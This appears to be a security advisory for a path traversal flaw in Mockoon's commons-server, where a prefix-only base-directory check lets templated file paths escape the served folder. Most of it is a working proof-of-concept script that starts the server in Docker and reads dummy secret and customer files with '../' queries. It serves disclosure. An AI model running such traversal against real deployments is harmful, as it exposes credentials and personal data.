@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336
const parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled
const resolvedPath = resolvePath(parsedFilePath);

if (isPathAbsolute) {
  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355
    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
  }
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362
  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}

cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
 console.log("[*] intended file (public/index.txt)    :",await g("index.txt"));
 console.log("[+] escape -> ../public_backup/.env     :",await g("../public_backup/.env"));
 console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh